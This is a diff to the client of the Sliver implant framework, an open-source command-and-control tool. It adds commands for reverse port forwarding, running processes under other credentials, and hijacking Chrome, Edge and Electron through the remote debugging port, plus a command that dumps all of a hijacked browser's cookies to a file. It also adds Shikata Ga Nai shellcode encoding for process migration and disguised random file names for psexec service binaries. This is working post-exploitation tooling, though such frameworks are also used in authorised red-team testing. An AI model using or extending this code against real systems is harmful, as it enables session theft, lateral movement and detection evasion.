 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -2022,9 +2046,14 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Run a new process in the context of the designated user (Windows Only)",
 		LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
 		Flags: func(f *grumble.Flags) {
-			f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
+			f.String("u", "username", "", "user to impersonate")
 			f.String("p", "process", "", "process to start")
 			f.String("a", "args", "", "arguments for the process")
+			f.String("d", "domain", "", "domain of the user")
+			f.String("P", "password", "", "password of the user")
+			f.Bool("s", "show-window", false, `
+			Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
+			f.Bool("n", "net-only", false, "use ")
 			f.Int("t", "timeout", 30, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -2096,6 +2125,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("u", "username", "", "username of the user to impersonate")
 			f.String("p", "password", "", "password of the user to impersonate")
 			f.String("d", "domain", "", "domain of the user to impersonate")
+			f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		HelpGroup: consts.SliverWinHelpGroup,
@@ -2529,6 +2559,59 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(registryCmd)

+	// [ Reverse Port Forwarding ] --------------------------------------------------------------
+
+	rportfwdCmd := &grumble.Command{
+		Name:     consts.RportfwdStr,
+		Help:     "reverse port forwardings",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.RportFwdListenersCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	}
+	rportfwdCmd.AddCommand(&grumble.Command{
+		Name:     consts.AddStr,
+		Help:     "Add and start reverse port forwarding",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.StartRportFwdListenerCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
+			f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
+		},
+		HelpGroup: consts.SliverWinHelpGroup,
+	})
+	rportfwdCmd.AddCommand(&grumble.Command{
+		Name:     consts.RmStr,
+		Help:     "Stop and remove reverse port forwarding",
+		LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			rportfwd.StopRportFwdListenerCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Int("i", "id", 0, "id of portfwd to remove")
+		},
+		HelpGroup: consts.SliverWinHelpGroup,
+	})
+
+	con.App.AddCommand(rportfwdCmd)
+
 	// [ Pivots ] --------------------------------------------------------------

 	pivotsCmd := &grumble.Command{
@@ -3365,7 +3448,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -3382,14 +3465,19 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
 			f.Bool("R", "restore", true, "restore the user's session after process termination")
 			f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
 			f.String("u", "user-data", "", "user data directory (blank string = auto)")
 			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
+			f.Bool("H", "headless", false, "start browser process in headless mode")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
+		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
 			cursed.CursedChromeCmd(ctx, con)
@@ -3403,17 +3491,60 @@ func BindCommands(con *console.SliverConsoleClient) {
 		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
 			f.Bool("R", "restore", true, "restore the user's session after process termination")
 			f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
 			f.String("u", "user-data", "", "user data directory (blank string = auto)")
 			f.String("p", "payload", "", "cursed chrome payload file path (.js)")
+			f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
+			f.Bool("H", "headless", false, "start browser process in headless mode")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedEdgeCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedElectron,
+		Help:      "Curse a remote Electron application",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("e", "exe", "", "remote electron executable absolute path")
+			f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			cursed.CursedElectronCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+	cursedCmd.AddCommand(&grumble.Command{
+		Name:      consts.CursedCookies,
+		Help:      "Dump all cookies from cursed process",
+		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
+		HelpGroup: consts.GenericHelpGroup,
+		Flags: func(f *grumble.Flags) {
+			f.String("s", "save", "", "save to file")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			cursed.CursedEdgeCmd(ctx, con)
+			cursed.CursedCookiesCmd(ctx, con)
 			con.Println()
 			return nil
 		},
@@ -3436,23 +3567,23 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 	})
-	cursedCmd.AddCommand(&grumble.Command{
-		Name:      consts.CursedElectron,
-		Help:      "Curse a remote Electron application",
-		LongHelp:  help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
+	con.App.AddCommand(cursedCmd)
+
+	// [ Builders ] ---------------------------------------------
+	buildersCmd := &grumble.Command{
+		Name:      consts.BuildersStr,
+		Help:      "List external builders",
+		LongHelp:  help.GetHelpFor([]string{consts.BuildersStr}),
 		HelpGroup: consts.GenericHelpGroup,
 		Flags: func(f *grumble.Flags) {
-			f.String("e", "exe", "", "remote electron executable absolute path")
-			f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
-
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
-			cursed.CursedElectronCmd(ctx, con)
+			builders.BuildersCmd(ctx, con)
 			con.Println()
 			return nil
 		},
-	})
-	con.App.AddCommand(cursedCmd)
+	}
+	con.App.AddCommand(buildersCmd)
 }
@@ -175,7 +175,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
 	con.Printf("success!\n")

 	con.PrintInfof("Starting %s process ... ", name)
-	debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
+	debugPort := getRemoteDebuggerPort(ctx)
 	args := []string{
 		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
 	}
@@ -185,6 +185,16 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
 	if ctx.Flags.Bool("restore") {
 		args = append(args, "--restore-last-session")
 	}
+	if ctx.Flags.Bool("keep-alive") {
+		args = append(args, "--keep-alive-for-test")
+	}
+	if ctx.Flags.Bool("headless") {
+		args = append(args, "--headless")
+	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}

 	// Execute the Chrome process with the extra flags
 	// TODO: PPID spoofing, etc.
@@ -52,7 +52,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
-	startCursedConsole(curse, target, con)
+	startCursedConsole(curse, true, target, con)
 }

 func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
@@ -89,7 +89,13 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
 	return &selectedTarget
 }

-func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
+var (
+	helperHooks = []string{
+		"console.log = (...a) => {return a;}", // console.log
+	}
+)
+
+func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
 	tmpFile, _ := ioutil.TempFile("", "cursed")
 	reader, err := readline.NewEx(&readline.Config{
 		Prompt:      "\033[31mcursed »\033[0m ",
@@ -104,6 +110,19 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
 		con.PrintErrorf("Failed to create read line: %s\n", err)
 		return
 	}
+
+	if helpers {
+		// Execute helper hooks
+		ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+		for _, hook := range helperHooks {
+			_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+			}
+		}
+	}
+
+	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
 	for {
 		line, err := reader.Readline()
 		if err == readline.ErrInterrupt {
@@ -116,8 +135,38 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
 			break
 		}
 		switch strings.TrimSpace(line) {
+
+		case ":help":
+			con.Println()
+			con.Println("Available commands:")
+			con.Println("  :file - Execute local .js file")
+			con.Println("  :help - Show this help")
+			con.Println("  :exit - Exit the console")
+			con.Println()
+
+		case ":file":
+			jsCode, err := ioutil.ReadFile(line)
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
+			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
+			if err != nil {
+				con.PrintErrorf("%s\n", err)
+				continue
+			}
+			con.Println()
+			if 0 < len(result) {
+				con.Printf("%s\n", result)
+				con.Println()
+			}
+
+		case ":exit":
+			fallthrough
 		case "exit":
 			return
+
 		default:
 			ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
 			result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
@@ -131,5 +180,4 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
 			}
 		}
 	}
-
 }
@@ -0,0 +1,69 @@
+package cursed
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"fmt"
+	"io/ioutil"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+)
+
+func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	curse := selectCursedProcess(con)
+	if curse == nil {
+		return
+	}
+	con.Println()
+
+	cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
+	if err != nil {
+		con.PrintErrorf("Failed to dump cookies: %s\n", err)
+		return
+	}
+
+	con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
+	if len(cookies) == 0 {
+		return
+	}
+	saveFile := ctx.Flags.String("save")
+	if saveFile == "" {
+		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
+	}
+	jsonCookies := []string{}
+	for _, cookie := range cookies {
+		jsonCookie, err := cookie.MarshalJSON()
+		if err != nil {
+			con.PrintErrorf("Failed to marshal cookie: %s\n", err)
+			continue
+		}
+		jsonCookies = append(jsonCookies, string(jsonCookie))
+	}
+	err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
+	if err != nil {
+		con.PrintErrorf("Failed to save cookies: %s\n", err)
+		return
+	}
+	con.PrintInfof("Saved to %s", saveFile)
+	con.Println()
+}
@@ -149,10 +149,14 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr

 func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
 	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
-	debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
+	debugPort := getRemoteDebuggerPort(ctx)
 	args := []string{
 		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
 	}
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
+	}

 	// Execute the Chrome process with the extra flags
 	// TODO: PPID spoofing, etc.
@@ -21,6 +21,7 @@ package cursed
 import (
 	"bytes"
 	"fmt"
+	insecureRand "math/rand"
 	"strconv"
 	"strings"
 	"text/tabwriter"
@@ -35,6 +36,7 @@ import (

 // CursedChromeCmd - Execute a .NET assembly in-memory
 func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	// Collect existing curses from core
 	cursedProcesses := [][]string{}
 	core.CursedProcesses.Range(func(key, value interface{}) bool {
 		curse := value.(*core.CursedProcess)
@@ -48,6 +50,7 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		})
 		return true
 	})
+	// Display table if we have 1 or more curses
 	if 0 < len(cursedProcesses) {
 		tw := table.NewWriter()
 		tw.SetStyle(settings.GetTableStyle(con))
@@ -67,6 +70,7 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

+// selectCursedProcess - Interactively select a cursed process from a list
 func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
 	cursedProcesses := []*core.CursedProcess{}
 	core.CursedProcesses.Range(func(key, value interface{}) bool {
@@ -107,3 +111,11 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
 	selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
 	return port2process[selectedPortNumber]
 }
+
+func getRemoteDebuggerPort(ctx *grumble.Context) int {
+	port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
+	if port == 0 {
+		port = insecureRand.Intn(30000) + 10000
+	}
+	return port
+}
@@ -20,7 +20,7 @@ package exec

 import (
 	"context"
-	"io/ioutil"
+	"os"
 	"path/filepath"
 	"strings"

@@ -50,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 			return
 		}
 	}
-	assemblyBytes, err := ioutil.ReadFile(assemblyPath)
+	assemblyBytes, err := os.ReadFile(assemblyPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
@@ -23,7 +23,6 @@ import (
 	"context"
 	"fmt"
 	"io"
-	"io/ioutil"
 	"log"
 	"os"

@@ -52,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	}
 	pid := ctx.Flags.Uint("pid")
 	shellcodePath := ctx.Args.String("filepath")
-	shellcodeBin, err := ioutil.ReadFile(shellcodePath)
+	shellcodeBin, err := os.ReadFile(shellcodePath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err.Error())
 		return
@@ -82,7 +81,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 			Data:         shellcodeBin,
 		})
 		if err != nil {
-			con.PrintErrorf("%s\n", err.Error())
+			con.PrintErrorf("%s\n", err)
 			return
 		}
 		oldSize := len(shellcodeBin)
@@ -18,7 +18,6 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path/filepath"
 	"strings"
@@ -242,7 +241,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st

 	outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))

-	outFilePath, err = ioutil.TempFile("", outFileName)
+	outFilePath, err = os.CreateTemp("", outFileName)

 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -3,14 +3,17 @@ package exec
 /*
 	Sliver Implant Framework
 	Copyright (C) 2019  Bishop Fox
+
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
 	the Free Software Foundation, either version 3 of the License, or
 	(at your option) any later version.
+
 	This program is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 	GNU General Public License for more details.
+
 	You should have received a copy of the GNU General Public License
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
@@ -33,12 +36,19 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {

 	pid := ctx.Args.Uint("pid")
 	config := con.GetActiveSessionConfig()
+	encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
+	if ctx.Flags.Bool("disable-sgn") {
+		encoder = clientpb.ShellcodeEncoder_NONE
+	}
+
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
+
 	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
 		Pid:     uint32(pid),
 		Config:  config,
 		Request: con.ActiveTarget.Request(ctx),
+		Encoder: encoder,
 	})
 	ctrl <- true
 	<-ctrl
@@ -21,17 +21,19 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
-	insecureRand "math/rand"
+	"os"
 	"strings"
 	"time"

+	insecureRand "math/rand"
+
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/server/codenames"
 	"github.com/bishopfox/sliver/util/encoders"
 	"github.com/desertbit/grumble"
 )
@@ -93,7 +95,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
 	} else {
 		// use a custom exe instead of generating a new Sliver
-		fileBytes, err := ioutil.ReadFile(customExe)
+		fileBytes, err := os.ReadFile(customExe)
 		if err != nil {
 			con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
 			return
@@ -101,7 +103,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		serviceBinary = fileBytes
 	}

-	filename := randomString(10)
+	filename := randomFileName()
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
 	uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
 	// upload to remote target
@@ -172,11 +174,28 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
 }

-func randomString(length int) string {
-	var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
-	b := make([]byte, length)
-	for i := range b {
-		b[i] = charset[insecureRand.Intn(len(charset))]
+func randomFileName() string {
+	noun, _ := codenames.RandomNoun()
+	noun = strings.ToLower(noun)
+	switch insecureRand.Intn(3) {
+	case 0:
+		noun = strings.ToUpper(noun)
+	case 1:
+		noun = strings.ToTitle(noun)
 	}
-	return string(b)
+
+	separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
+	sep := separators[insecureRand.Intn(len(separators))]
+
+	alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
+	prefix := ""
+	for index := 0; index < insecureRand.Intn(3); index++ {
+		prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+	suffix := ""
+	for index := 0; index < insecureRand.Intn(6)+1; index++ {
+		suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
+	}
+
+	return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
 }
@@ -21,7 +21,7 @@ package exec
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
+	"os"
 	"path/filepath"
 	"strings"

@@ -45,7 +45,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	args := strings.Join(ctx.Args.StringList("args"), " ")

-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s", err.Error())
 		return
@@ -1,9 +1,27 @@
 package exec

+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
+	"os"
 	"strings"

 	"github.com/bishopfox/sliver/client/console"
@@ -24,7 +42,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	processName := ctx.Flags.String("process")
 	exportName := ctx.Flags.String("export")

-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -1,8 +1,26 @@
 package exec

+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
-	"io/ioutil"
+	"os"
 	"strings"

 	"github.com/AlecAivazis/survey/v2"
@@ -31,9 +49,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}

 	port := ctx.Flags.Uint("port")
-	privateKeypath := ctx.Flags.String("private-key")
-	if privateKeypath != "" {
-		privKey, err = ioutil.ReadFile(privateKeypath)
+	privateKeyPath := ctx.Flags.String("private-key")
+	if privateKeyPath != "" {
+		privKey, err = os.ReadFile(privateKeyPath)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -43,6 +61,19 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {

 	hostname := ctx.Args.String("hostname")
 	command := ctx.Args.StringList("command")
+	kerberosRealm := ctx.Flags.String("kerberos-realm")
+	kerberosConfig := ctx.Flags.String("kerberos-config")
+	kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
+
+	if kerberosRealm != "" && kerberosKeytabFile == "" {
+		con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
+		return
+	}
+	kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}

 	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
 		oldUsername := username
@@ -59,6 +90,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		PrivKey:  privKey,
 		Password: password,
 		Command:  strings.Join(command, " "),
+		Realm:    kerberosRealm,
+		Krb5Conf: kerberosConfig,
+		Keytab:   kerberosKeytab,
 		Request:  con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
@@ -22,7 +22,6 @@ import (
 	"context"
 	"fmt"
 	"os"
-	"path"
 	"path/filepath"
 	"regexp"
 	"runtime"
@@ -173,7 +172,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
 					fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
 				}
 			}
-			dst = path.Join(dst, fileName)
+			dst = filepath.Join(dst, fileName)
 		}

 		// Add an extension to a directory download if one is not provided.
@@ -31,7 +31,11 @@ func GenerateBeaconCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	compile(config, save, con)
+	if !ctx.Flags.Bool("external-builder") {
+		compile(config, save, con)
+	} else {
+		externalBuild(config, save, con)
+	}
 }

 func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, config *clientpb.ImplantConfig) error {
@@ -1,10 +1,28 @@
 package generate

+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
 	"net"
+	"os"
 	"regexp"
 	"strings"

@@ -51,12 +69,12 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	arch := ctx.Flags.String("arch")
 	proto := ctx.Flags.String("protocol")
 	format := ctx.Flags.String("format")
-	badchars := ctx.Flags.String("badchars")
+	badChars := ctx.Flags.String("badchars")
 	save := ctx.Flags.String("save")

 	bChars := make([]string, 0)
-	if len(badchars) > 0 {
-		for _, b := range strings.Split(badchars, " ") {
+	if len(badChars) > 0 {
+		for _, b := range strings.Split(badChars, " ") {
 			bChars = append(bChars, fmt.Sprintf("\\x%s", b))
 		}
 	}
@@ -98,7 +116,7 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}

-		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
+		err = os.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)
 			return
@@ -22,12 +22,11 @@ import (
 	"context"
 	"errors"
 	"fmt"
-	"io/ioutil"
 	"log"
 	"net"
 	"net/url"
 	"os"
-	"path"
+	"os/signal"
 	"path/filepath"
 	"runtime"
 	"strings"
@@ -36,6 +35,8 @@ import (

 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/spin"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/util"
@@ -82,6 +83,9 @@ var (
 		"windows/386":   true,
 		"windows/amd64": true,
 	}
+
+	ErrNoExternalBuilder = errors.New("no external builders are available")
+	ErrNoValidBuilders   = errors.New("no valid external builders for target")
 )

 // GenerateCmd - The main command used to generate implant binaries
@@ -94,7 +98,24 @@ func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if save == "" {
 		save, _ = os.Getwd()
 	}
-	compile(config, save, con)
+	if !ctx.Flags.Bool("external-builder") {
+		compile(config, save, con)
+	} else {
